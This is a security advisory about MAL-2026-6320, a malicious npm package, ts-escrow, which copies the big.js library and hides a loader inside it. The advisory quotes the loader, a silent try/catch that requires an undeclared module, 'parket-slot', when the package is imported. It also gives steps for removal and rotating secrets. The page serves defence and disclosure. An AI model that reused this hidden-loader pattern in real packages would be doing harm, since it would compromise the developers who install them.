# MAL-2026-6320: Malicious code in ts-escrow (npm)


- **Type:** Malicious package
- **Package:** `ts-escrow` (npm)
- **Published:** 23 Jun 2026
- **Also known as:** GHSA-fjgh-3fjv-prm3

## What is MAL-2026-6320?

MAL-2026-6320 is a malicious package in ts-escrow, published on 23 Jun 2026. 

### Official description

ts-escrow@0.1.0 is a verbatim copy of the big.js library (README, repository URL, author, version banner, and description all impersonate MikeMcl/big.js) republished under an unrelated name. Inserted between unrelated method definitions in big.js and big.mjs is a top-level, error-swallowing loader: `try { const doc = require('parket-slot'); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The 'parket-slot' module is not declared in package.json. The manifest instead declares an unrelated dependency 'log-taker1' (^0.1.0), also unrelated to big.js's documented zero-dependency posture. Any developer who installs ts-escrow and require()s it triggers loading of an attacker-controlled companion module at import time, with errors silently swallowed to evade detection. The combination of library impersonation, hidden require() of an undeclared package, and silent error handling is the textbook supply-chain trojan loader pattern.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6320?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6320 is a malicious package: ts-escrow (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6320/ (Markdown: https://insights.sbomify.com/MAL-2026-6320/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6320

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6320/
Summaries are generated and may contain mistakes; the official description above is the record.